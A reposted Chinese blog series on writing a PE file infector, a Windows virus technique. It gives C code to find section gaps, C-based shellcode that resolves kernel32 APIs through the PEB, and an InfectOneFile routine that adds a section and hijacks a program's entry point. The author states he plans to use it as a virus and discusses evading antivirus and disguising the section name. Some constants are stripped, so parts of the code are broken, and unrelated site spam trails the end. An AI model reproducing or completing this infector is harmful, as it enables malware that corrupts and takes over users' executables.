PE感染

来源:互联网 发布:优品会展软件 编辑:程序博客网 时间:2024/06/08 12:32

这篇文章转载自:Extreme's的空间

http://hi.baidu.com/wjsbljeluujrtwe/item/b1068854a4295ba9adc85750

http://hi.baidu.com/wjsbljeluujrtwe/item/dd5ae31387500f0fd1d66d52

http://hi.baidu.com/wjsbljeluujrtwe/item/66e533306e95f8352f20c44e

http://hi.baidu.com/wjsbljeluujrtwe/item/35ea870a1522bece75cd3c79

http://hi.baidu.com/wjsbljeluujrtwe/item/3e9faae2d45340a9c00d757c



PE感染(1):原理



一、代码的插入
由于为了提高文件从磁盘加载的效率,链接器会在生成可执行文件的时候将节对齐,即按照链接器的命令行设置,选一个是对齐大小的整数倍,且大于原始数据大小的最小值,作为链接出的节的大小。VC的链接器默认的对齐大小为0x200字节,即0.5KB。
因为对齐后,节末尾有可能不会被填满,留出了多余的空间。这些空间,存在的原因是使节大小是对齐大小的整数倍,被填为0,不会被程序使用。因此可以在这里插入自己的代码。用这种方式感染,最大的好处是几乎能做到不改变被感染文件的大小。而且,相比添加节的方法,这种方法更为隐蔽。
当然,空隙可能很小,也可能没有任何空隙。若空隙很小,可以将病毒代码分为多部分插入到各个节的空隙处,中间用jmp命令连接起来。若没有空隙,或用尽了空隙还不能插入全部代码,那就修改最后一个节的属性,加大其空间,再插入代码。

二、代码的执行
仅仅插入代码是不行的,还需要修改相关的数据,使被插入的代码能够执行。可以修改程序的入口点,指向你的代码。于是程序先执行你的代码,在安装病毒完毕后jmp到真正的入口;也可以修改程序的导入表,这样在调用Api时,你的代码就得到了执行。还可以在程序体中随机插入jmp到你的代码,但被感染程序的稳定性就不能得到保证了,而且你还需要一个“强壮”的反汇编引擎,防止指令被截断。

三、例外的处理
有些应用程序有自校验,比如安装包,WinRar自解压文件;有些PE文件不是我们希望感染的类型,如dll,sys。这些情况要予以排除。

PE感染(2):节空隙查找


为了查找节空隙,首先要对PE结构有一个大致的了解。在此我们只重点看看与节有关的结构体。全部结构体均存在于winnt.h中,可以自行查看。

每一个PE文件的头都以IMAGE_DOS_HEADER结构体开始:

typedef struct _IMAGE_DOS_HEADER {     WORD e_magic;     WORD e_cblp;     WORD e_cp;     WORD e_crlc;     WORD e_cparhdr;     WORD e_minalloc;     WORD e_maxalloc;     WORD e_ss;     WORD e_sp;     WORD e_csum;     WORD e_ip;     WORD e_cs;     WORD e_lfarlc;     WORD e_ovno;     WORD e_res[4];     WORD e_oemid;     WORD e_oeminfo;     WORD e_res2[10];     LONG e_lfanew; } IMAGE_DOS_HEADER,*PIMAGE_DOS_HEADER;

这是个标准的DOS可执行文件的文件头。Windows为了使Win32应用程序在DOS下运行时显示出错信息,就做了这样的设计。我们只关注 e_lfanew 和 e_magic成员。e_magic 是通常所说的MZ头,用了确定该文件是否是可执行文件。e_lfanew则是偏移量,指向了提供真正的有用信息的结构体:IMAGE_NT_HEADERS:

1 typedef struct _IMAGE_NT_HEADERS {2     DWORD Signature;3     IMAGE_FILE_HEADER FileHeader;4     IMAGE_OPTIONAL_HEADER OptionalHeader;5 } IMAGE_NT_HEADERS,*PIMAGE_NT_HEADERS;
Signature为“PE\0\0”,也用来判断文件是否为有效PE文件。下面看 IMAGE_FILE_HEADER FileHeader;这个结构体如下所示:
typedef struct _IMAGE_FILE_HEADER {     WORD Machine;     WORD NumberOfSections;     DWORD TimeDateStamp;     DWORD PointerToSymbolTable;     DWORD NumberOfSymbols;     WORD SizeOfOptionalHeader;     WORD Characteristics; } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

重点关注WORD NumberOfSections;这个成员告诉了我们该PE文件有多少个节。因为节表顺次排列在IMAGE_NT_HEADERS后,所以我们只能通过NumberOfSections确定要遍历多少个节表。
接下来看IMAGE_OPTIONAL_HEADER OptionalHeader;PE的很多有用信息都被这个结构体描述。

typedef struct _IMAGE_OPTIONAL_HEADER {     WORD Magic;     BYTE MajorLinkerVersion;     BYTE MinorLinkerVersion;     DWORD SizeOfCode;     DWORD SizeOfInitializedData;     DWORD SizeOfUninitializedData;     DWORD AddressOfEntryPoint;     DWORD BaseOfCode;     DWORD BaseOfData;     DWORD ImageBase;     DWORD SectionAlignment;     DWORD FileAlignment;     WORD MajorOperatingSystemVersion;     WORD MinorOperatingSystemVersion;     WORD MajorImageVersion;     WORD MinorImageVersion;     WORD MajorSubsystemVersion;     WORD MinorSubsystemVersion;     DWORD Reserved1;     DWORD SizeOfImage;     DWORD SizeOfHeaders;     DWORD CheckSum;     WORD Subsystem;     WORD DllCharacteristics;     DWORD SizeOfStackReserve;     DWORD SizeOfStackCommit;     DWORD SizeOfHeapReserve;     DWORD SizeOfHeapCommit;     DWORD LoaderFlags;     DWORD NumberOfRvaAndSizes;     IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER,*PIMAGE_OPTIONAL_HEADER;

FileAlignment很重要,表示文件的对齐大小,直接决定着节的大小。但这是链接器关心的成员,我们只略作了解。

最核心的结构体就是节表,紧跟在IMAGE_NT_HEADERS后面,数量由刚刚提到的NumberOfSections确定。表示如下:

typedef struct _IMAGE_SECTION_HEADER {     BYTE Name[IMAGE_SIZEOF_SHORT_NAME];     union {         DWORD PhysicalAddress;         DWORD VirtualSize;     } Misc;     DWORD VirtualAddress;     DWORD SizeOfRawData;     DWORD PointerToRawData;     DWORD PointerToRelocations;     DWORD PointerToLinenumbers;     WORD NumberOfRelocations;     WORD NumberOfLinenumbers;     DWORD Characteristics; } IMAGE_SECTION_HEADER,*PIMAGE_SECTION_HEADER;

Misc.VirtualSize表示该节没有对齐时的大小,SizeOfRawData表示该节对齐后的大小。于是用SizeOfRawData - Misc.VirtualSize - 1 就可以得到空隙的大小了。节的起始位置(在PE文件中),被PointerToRawData表示。千万不要和VirtualAddress混淆,那个表示节的起始位置被加载在内存后,相对于基地址的偏移量。VA表示内存中的位置,而PTRD表示文件的位置。可以得到下面的公式:

1 空隙大小 = SizeOfRawData - Misc.VirtualSize - 1;2 节的起始点 = PointerToRawData;3 空隙起始点 = PointerToRawData + Misc.VirtualSize;
源代码:(为了方便,定义了两个宏)

#include <windows.h> #include <stdio.h>  #define TYPEMEMBER(v1, v2, v3) (((v1)(v2))->v3) #define ADDRCONV(v1, v2) ((PBYTE)(v2) + (DWORD)v1)  char GetVoid(PVOID BaseAddr) {     PVOID Pointer = BaseAddr;          WORD SecNum;     WORD Cnt;          DWORD BlankAddr;     DWORD BlankSize;      PIMAGE_NT_HEADERS tmp;          if (TYPEMEMBER(PIMAGE_DOS_HEADER, Pointer, e_magic) != IMAGE_DOS_SIGNATURE)     {         // Not a DOS file         return 1;     }          // Pointer = PIMAGE_NT_HEADERS     Pointer = ADDRCONV(TYPEMEMBER(PIMAGE_DOS_HEADER, Pointer, e_lfanew), BaseAddr);     if (*(DWORD *)Pointer != IMAGE_NT_SIGNATURE)     {         // Not a PE file         return 2;     }      SecNum = TYPEMEMBER(PIMAGE_NT_HEADERS, Pointer, FileHeader).NumberOfSections;          // Pointer = PIMAGE_SECTION_HEADER     Pointer = ADDRCONV(Pointer, sizeof(IMAGE_NT_HEADERS));     for (Cnt = 0; Cnt < SecNum; Cnt++)     {         // No void         if (TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, SizeOfRawData) < TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, Misc).VirtualSize + 1)         {             goto next;         }         if (TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, SizeOfRawData) == NULL)         {             goto next;         }         if (TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, SizeOfRawData) == NULL)         {             goto next;         }         if (TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, Misc).VirtualSize == NULL)         {             goto next;         }                  // Oh yeah! Get the void now.         BlankAddr = TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, PointerToRawData) + TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, Misc).VirtualSize;         BlankSize = TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, SizeOfRawData) - TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, Misc).VirtualSize - 1;                  printf("SectionName:%s  BlankAddresss:%x BlankSize:%x\n", TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, Name), BlankAddr, BlankSize); next:    Pointer = (PBYTE)Pointer + sizeof(IMAGE_SECTION_HEADER);     }          return 0; }  void GetVoidPE(char *FileIn) {     HANDLE hFile;     HANDLE hMapping;     PVOID BaseAddr;          hFile = CreateFile(FileIn, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);     hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, 0);     BaseAddr = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);          if (BaseAddr != NULL)     {         GetVoid(BaseAddr);     }          CloseHandle(hFile);     CloseHandle(hMapping); }  int main() {     GetVoidPE("cmd.exe");     return 0; }

使用GetVoidPE(文件路径)后,会打印出节的名称、该节中空隙的起始地址、长度。

注意:为了防止给某些人创造不和谐的机会,这只是利用文件映射显示节表的名称。之后的PE修改和这个大体相同,但代码光Copy是不能实现的。

PE感染(3):ShellCode编写

今天在家调试了一个下午,累死了。不过收获颇丰。现在,我们说说有关ShellCode的问题。PE感染时,我们将PE的OptionalHeader中的AddressOfEntryPoint修改为感染代码的入口点,最后在jmp回正确的入口点,或者直接CreateThread,创建原始入口点的线程,让用户不能发现PE被感染。
但是,做坏事一般要用到Api。但是我们在PE节空隙中插入的是ShellCode,对Api的调用会出问题的。一般的应用程序在调用Api时,对应的汇编是Call XXXX。而Call的地址是IAT(Import Address Table,导入表)。系统在PE加载时,会根据IMAGE_IMPORT_DESCRIPTOR结构体,将对应的动态链接库加载进PE领空,然后解析被加载的动态链接库的导出函数,经过运算,获得该函数加载进内存后的地址,最后将IAT中的对应项目填写为该地址。于是,我们可以简单地调用Api。
但是ShellCode不一样。由于各个操作系统的版本不同,kernel32的相关函数在内存中的地址也是不一样的。至于硬编码……无语……那么就解析PE吧!
先说几个经常出现的宏:
[Code]
#define TYPEMEMBER(v1, v2, v3) (((v1)(v2))->v3)
#define ADDRCONV(v1, v2) ((PBYTE)(v2) + (DWORD)v1)其中,为了最少地使用内存,我们定义的指针较少。所以,TYPEMEMBER是为了从繁杂的类型转换中脱身用的。(PS:大多数强制类型转换不需要CPU时间,编译器也不会创建缓存。直接是寄存器操作)而ADDRCONV是转换RVA用的。下面,可以开始解析导入表了。
我们首先通过解析导出表,获得GetProcAddress的地址。接下来,就可以用这个函数获得其余的函数了。
什么?GetProcAddress有两个参数?还要提供HMODULE?HMODULE从哪里来?先别着急。后面就提到。
为了解析kernel32的导出表,首先要获得kernel32的基址。这可以从PEB中获得。

[Code]
__asm
{
xor eax,eax
mov eax, dword ptr fs:[30h]
mov eax, dword ptr [eax+0ch]
mov esi, dword ptr [eax+1ch]
lodsd
mov ebx, dword ptr [eax+08h]
mov KrnlDllAddr,ebx
}
于是我们获得了Kernel32的基址,这也是Kernel32的HMODULE。接下来解析导出表。

[Code] //
// Get EAT
//

// Pointer = IMAGE_NT_HEADERS
Pointer = ADDRCONV(KrnlDllAddr, TYPEMEMBER(PIMAGE_DOS_HEADER, KrnlDllAddr, e_lfanew));
// Pointer = Export table
Pointer = ADDRCONV(KrnlDllAddr, TYPEMEMBER(PIMAGE_NT_HEADERS, Pointer, OptionalHeader).DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

NumberOfNames = TYPEMEMBER(PIMAGE_EXPORT_DIRECTORY, Pointer, NumberOfNames);
AddressOfNames = (PDWORD)ADDRCONV(KrnlDllAddr, TYPEMEMBER(PIMAGE_EXPORT_DIRECTORY, Pointer, AddressOfNames));

for (Cnt = 0; Cnt < NumberOfNames; ++Cnt)
{
//
// Use signature to find "GetProcAddress"
// Signature : "cA" => 0x4163
//


if (*(PWORD)((PBYTE)(ADDRCONV(KrnlDllAddr, AddressOfNames[Cnt])) + 6) == 0x4163)
{
// NumberOfNames = AddressOfFunctions
NumberOfNames = (DWORD)ADDRCONV(KrnlDllAddr, TYPEMEMBER(PIMAGE_EXPORT_DIRECTORY, Pointer, AddressOfFunctions));
// Cnt = AddressOfNameOrdinals
Pointer = (PVOID)ADDRCONV(KrnlDllAddr, TYPEMEMBER(PIMAGE_EXPORT_DIRECTORY, Pointer, AddressOfNameOrdinals));
MyGetProcAddress = (DefMyGetProcAddress)ADDRCONV(KrnlDllAddr, ((PDWORD)NumberOfNames)[((PUSHORT)Pointer)[Cnt]]);
break;;
}
}
该段代码首先获得了IMAGE_EXPORT_DIRECTORY。为了遍历表,我们先要熟悉该结构体中的几个重要成员。PE格式用语言描述过于麻烦,不如直接上代码。注意,各个变量均为RVA。例如0x222是GetProcAddress。那么 AddressOfNames[Index] => "GetProcAddress";AddressOfFunctions[AddressOfNameOrdinals[Index]]是真正函数的RVA。

然后遍历表,将导出符号名与特征码比较,确定当前函数即为我们需要的函数——GetProcAddress。在此,我们使用了特征码,而不是strcmp。如果用strcmp,会在导入表中加上MSVCRXX.DLL的导入项目,一切便前功尽弃了。
在确定当前函数的名称后,就需要获得函数在内存中的真实地址。用刚才介绍的方法,得到真实地址。接下来的问题是调用函数。返回的是一个指向函数的指针。因此先用typedef声明函数的参数、返回值、调用约定等,然后直接转换。
最后,就可以为所欲为啦!在此,我们举一个创建进程的例子:运行任务管理器
[Code]
MyWinExec= (DefWinExec)MyGetProcAddress((HMODULE)KrnlDllAddr, "WinExec");
MyWinExec("taskmgr.exe", SW_SHOW); 哈哈!分析到此完毕。我们看看效果。LoadPE上场:


没有导入表~运行运行试试:


[Src]下载:http://code.google.com/p/code-from-extreme/downloads/list


PE感染(4):ShellCode处理

首先声明,我用的是VS2010,因此使用不同版本IDE的同学注意了,您的设置可能和我的不一样。
大多数ShellCode都是由汇编写成的。但是我不会……其实,用C也是可以做ShellCode的,只不过要多一些处理步骤。既然用C容易写,那么费些功夫处理自然是理所应当的。
1、设置入口点
说明:
由于一般的应用程序使用了C-Runtime,所以入口点在CRT库中。由于加入了CRT库,指令变多,处理自然麻烦了。因此,ShellCode不应使用一些CRT函数(有些可以用)。既然没有用CRT,那么就不让CRT帮我们搭建平台了。
操作:
在ShellCode中加入以下内容:#pragma comment(linker, "/entry:YourEntryPoint")。别忘了,这是预编译指令,不要再末尾加上分号。
2、设置编译器、链接器参数
说明:
默认的Release模式的确大大降低了代码的体积,但一些点还是没有做到最佳。
操作:
(1)对着ShellCode的工程名称(不是解决方案)点击右键->属性,在右侧的TreeView中选择“链接器”进行设置。将“调试”中的“生成调试信息”置为“否”。(默认状态下,ShellCode的.data OR .rdata中会出现pdb文件的路径,体积变大了)(2)将“高级”中的“随机基址”置为“否”。(否则PE中会多出了重定位节,不但增大体积,而且难以继续处理)(3)切换到父级支点的“C/C++”,将“优化”中的“优化”置为“使大小最小化”,“优化大小或速度”置为“代码大小优先”。
3.处理字符串、static变量
说明:
如果没有将“随机地址”置为”否“,那么重定位节中会对所有的字符串进行描述——后面的处理就难以进行了。我们已经进行了设置,就很简单了。字符串、被static修饰的变量在.rdata节。直接将.rdata节合并到.text节。PS:一般将ShellCode需要,而无法直接获得,只能由感染器写入时数据(如原始的入口点)设为static变量。这样可以直接写入到ShellCode中。
操作:在ShellCode中加入以下预编译指令:#pragma comment(linker, "/merge:.rdata=.text")
4、提取ShellCode
说明:
制作是成功了,但是要将其提取,并以字符串的形式放在感染器中,ShellCode才能真正运行。直接用LordPE,把节”save to disk“。但链接器会按照设置,对ShellCode对齐。ShellCode的尾部会有N多Hex为00的无用东东。将ShellCode提取后,拿十六进制编辑工具去除尾部的00即可。我喜欢Hxd。很快(一次不读取全部数据,只读取当前屏幕的数据)。



PE感染(5):感染器编写

哈哈哈哈!今天写完了Infect感染器的感染功能(Alpha版)。配合ShellCode,已经可以成功感染PE文件了!后面还要对一些东西做特殊处理,例如安装包;也要针对杀软做些处理。由于代码有一定危险性,不会全部放码。不过如果您想研究技术,那么我相信对于您来说,补全应该很简单。(其实这个我也要用来做Virus用……嘿嘿,有点邪恶~)
言归正传。PE感染的基本原理,在第一章已经说过。经过考虑,我选择了添加节的办法。原因很简单,PE感染一般是全盘感染。如果使用插入缝隙的方法,感染的效率会很低。但节空隙查找也不是没有用:可以用来免杀——在节空隙中随机插入花指令,末尾一个jmp跳到我们的入口点。
接下来,我会对添加节的方法进行说明。PE文件的节的数目由NTHeader.FileHeader.NumberOfSections确定。还是对齐:由于PE文件的对齐,文件头和节一般都存有一定空隙。我们可以利用空隙,插入一个新的结构体,即IMAGE_SECTION_HEADER。然后将NumberOfSections域自增1即可。当然,IMAGE_SECTION_HEADER的成员也是要填写的。我们后面讲。
0、一些标识符的说明……这个最重要!

  1. BOOL FileSeek(HANDLE hFile, LONG Pos)
  2. {
  3.     if (SetFilePointer(hFile, Pos, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
  4.     {
  5.         return FALSE;
  6.     }
  7.     return TRUE;
  8. }

  9. BOOL FileRead(HANDLE hFile, LPVOID Buffer, DWORD BufferSize)
  10. {
  11.     DWORD dwTmp;

  12.     ReadFile(hFile, Buffer, BufferSize, &dwTmp, NULL);
  13.     if (dwTmp != BufferSize)
  14.     {
  15.         return FALSE;
  16.     }
  17.     return TRUE;
  18. }

  19. BOOL FileWrite(HANDLE hFile, LPVOID Buffer, DWORD BufferSize)
  20. {
  21.     DWORD dwTmp;

  22.     WriteFile(hFile, Buffer, BufferSize, &dwTmp, NULL);
  23.     if (dwTmp != BufferSize)
  24.     {
  25.         return FALSE;
  26.     }
  27.     return TRUE;
  28. }

1、做好准备工作。首先要打开文件,读取文件大小、关键的DOS头、NT头。当然,还要对PE的有效性进行验证。
  1. UINT InfectOneFile(PCHAR VictimPath)
  2. {
  3.     IMAGE_NT_HEADERS        NTHeader;
  4.     IMAGE_DOS_HEADER        DOSHeader;
  5.     IMAGE_SECTION_HEADER    LastSection;
  6.     IMAGE_SECTION_HEADER    NewSection = {};

  7.     UINT                    FuncRet = ;
  8.     DWORD                    PESize;
  9.     DWORD                    dwCnt;
  10.     PBYTE                    DataToWrite;
  11.     PBYTE                    CurrentData;
  12.     HANDLE                    hFile;

  13.     hFile = CreateFile(    VictimPath, 
  14.                         GENERIC_WRITE | GENERIC_READ, 
  15.                         , 
  16.                         NULL
  17.                         OPEN_EXISTING, 
  18.                         FILE_ATTRIBUTE_NORMAL, 
  19.                         NULL);
  20.     if (hFile == NULL)
  21.     {
  22.         return ERR_FILE_OPERATION;
  23.     }

  24.     //
  25.     // Get file size to prevent if the file is not portable software.
  26.     //

  27.     PESize = GetFileSize(hFile, NULL);
  28. #ifdef EnableSize
  29.     if (PESize < MIN_PESIZE || PESize > MAX_PESIZE)
  30.     {
  31.         FuncRet = ERR_FILE_SIZE;
  32.         goto Ret;
  33.     }
  34. #endif

  35.     //
  36.     // Read DOS header.
  37.     //

  38.     if (!FileRead(hFile, &DOSHeader, sizeof(IMAGE_DOS_HEADER)))
  39.     {
  40.         FuncRet = ERR_FILE_OPERATION;
  41.         goto Ret;
  42.     }

  43.     if (DOSHeader.e_magic != IMAGE_DOS_SIGNATURE)
  44.     {
  45.         FuncRet = ERR_IMAGE_INVALID;
  46.         goto Ret;
  47.     }
  48.     
  49.     //
  50.     // Read NT header.
  51.     //

  52.     if (!FileSeek(hFile, DOSHeader.e_lfanew))
  53.     {
  54.         FuncRet = ERR_FILE_OPERATION;
  55.         goto Ret;
  56.     }
  57.     if (!FileRead(hFile,&NTHeader, sizeof(IMAGE_NT_HEADERS)))
  58.     {
  59.         FuncRet = ERR_FILE_OPERATION;
  60.         goto Ret;
  61.     }

  62.     if (NTHeader.Signature != IMAGE_NT_SIGNATURE)
  63.     {
  64.         FuncRet = ERR_IMAGE_INVALID;
  65.         goto Ret;
  66.     }
2、验证PE的文件头。看看是否有足够的空间容纳新的IMAGE_SECTION_HEADER。要点是,SizeOfHeaders标识了节表的大小。如果新加后的节表总大小比SizeOfHeaders大……我认输!

  1.     //
  2.     // If there's no space to add a new entry of section header then give up.
  3.     //

  4.     if ((NTHeader.FileHeader.NumberOfSections + ) * sizeof(IMAGE_SECTION_HEADER) 
  5.         > NTHeader.OptionalHeader.SizeOfHeaders)
  6.     {
  7.         FuncRet = ERR_IMAGE_TOOSMALL;
  8.         goto Ret;
  9.     }
  10.     
3、填写新节。我们一般把自己的代码放到文件最后,以免覆盖原始PE的数据。为了使新节的代码能够正常工作,还需要获得最后的一个节点数据。于是将新节的项目进行填写。这里用自然语言表示。
NewSection.Characteristics = 可读可写可执行 + 这是代码。可写不是必要的属性。
NewSection.Name = 自己喜欢的名字,最好起得和某些壳的在加壳时添加的节的名字一样。这样可以掩人耳目。
NewSection.VirtualAddress = 上个节的VirtualAddress 加上 上个节对齐后的VirtualSize。因为这是节,自然是SectionAligement喽。
NewSection.Misc.VirtualSize = ShellCode大小。
NewSection.SizeOfRawData = ShellCode大小。
NewSection.PointerToRawData = ShellCode的起始位置。我们将数据写入到文件尾,所以是文件的大小。(不是说要获得文件大小么……现在有用了吧^_^)
最后,要将NT头调大一点,以容纳我们的新节的数据。
  1. NTHeader.OptionalHeader.SizeOfImage += ALIGN(SHELLCODE_SIZE, NTHeader.OptionalHeader.FileAlignment);
  2. NTHeader.OptionalHeader.SizeOfCode += ALIGN(SHELLCODE_SIZE, NTHeader.OptionalHeader.SectionAlignment);

4、重定位!ShellCode中,有一些绝对跳转。而PE文件在加载时,会将节放在 ImageBase + Section.Misc.VirtualAddress处。所以要对ShellCode的代码重定位。这段代码是从LCCrypto中学来的。其实很简单,就是遍历ShellCode的每一处都按照地址看待,取其前5位(这样有时会不准,但ShellCode的大小一般都在0xFFF字节内吧~)。如果与ShellCode的基质吻合,则将其重定向。
  1.     for (CurrentData = DataToWrite, dwCnt = ; dwCnt <= SHELLCODE_SIZE; ++CurrentData, ++dwCnt)
  2.     {
  3.         if ((*((PDWORD)CurrentData) & ) == SHELLCODE_BASEADDR)
  4.         {
  5.             *((PDWORD)CurrentData) +=    NewSection.VirtualAddress 
  6.                                         + NTHeader.OptionalHeader.ImageBase 
  7.                                         - SHELLCODE_BASEADDR;
  8.         }
  9.     }
5、完成ShellCode。例如给ShellCode中写入入口点,以便跳转到原始入口点。我的ShellCode还有一些神秘数据……
  1.     ((PDWORD)DataToWrite)[] = THIS_IS_A_SECRET_I_CANT_SHOW_YOU;
  2.     ((PDWORD)DataToWrite)[] =    NTHeader.OptionalHeader.ImageBase + 
  3.                                 NTHeader.OptionalHeader.AddressOfEntryPoint;
6、写入关键数据。包括NT头,IMAGE_SECTION_HEADER。当然,别忘了修改入口点。

  1.     //
  2.     // Write back section header.
  3.     //

  4.     if (!FileSeek(hFile, NTHeader.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER)
  5.                         + sizeof(IMAGE_NT_HEADERS) 
  6.                         + DOSHeader.e_lfanew))
  7.     {
  8.         FuncRet = ERR_FILE_OPERATION;
  9.         goto Ret;
  10.     }
  11.     if (!FileWrite(hFile,&NewSection, sizeof(IMAGE_SECTION_HEADER)))
  12.     {
  13.         FuncRet = ERR_FILE_OPERATION;
  14.         goto Ret;
  15.     }

  16.     //
  17.     // Write back NT header.
  18.     //

  19.     ++NTHeader.FileHeader.NumberOfSections;
  20.     NTHeader.OptionalHeader.AddressOfEntryPoint = NewSection.VirtualAddress + SHELLCODE_ENTRY;

  21.     if (!FileSeek(hFile, DOSHeader.e_lfanew))
  22.     {
  23.         FuncRet = ERR_FILE_OPERATION;
  24.         goto Ret;
  25.     }
  26.     if (!FileWrite(hFile,&NTHeader, sizeof(IMAGE_NT_HEADERS)))
  27.     {
  28.         FuncRet = ERR_FILE_OPERATION;
  29.         goto Ret;
  30.     }

  31. Ret:
  32.     CloseHandle(hFile);
  33.     return FuncRet;
  34. }
哦……搞定了。回首发布的代码……几乎全写上了!
源代码下载地址:http://code.google.com/p/code-from-extreme/downloads/

原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 联程航班第一程延误怎么办 飞机经停10小时怎么办 去车站买票没带身份证怎么办 转机航班第一班延误了怎么办 转机航班第一班取消了怎么办 香港转机大陆行李托运怎么办 联程车票第一班车晚点怎么办 到了普吉机场接机怎么办 被骚扰电话打个不停怎么办 网贷不停发信息怎么办 网贷天天发信息怎么办 诈骗电话一直打个不停怎么办 寄快递电话号码写错了怎么办 寄快递收件人号码错了怎么办 嫒和媛分不清楚怎么办 快递柜单号没了怎么办 邮政蜜蜂箱 退件怎么办 手机狂收验证码怎么办 快递柜超过24小时怎么办 快递柜短信删了怎么办 丰巢电话留错了怎么办 e栈快递员软件打不开怎么办 耳朵里进了东西怎么办 e栈收不到取件码怎么办 挖机排放不达标怎么办 三星手机一直开机关机怎么办 高速路上胎爆了怎么办 迪兰588温度高怎么办 象印保温杯掉漆怎么办 报销的车票丢了怎么办 快递写错一个字怎么办 外国人在中国护照过期怎么办 大学选课选漏了怎么办 高德地图不能琦跨城导航怎么办 水痘预防针间隔时间太久怎么办 车载导航被删了怎么办 高德地图gps信号弱怎么办 ai里面图片太多文件太大怎么办 ai文件太大怎么办1个G 文件写错了字怎么办 戒指弄不下来了怎么办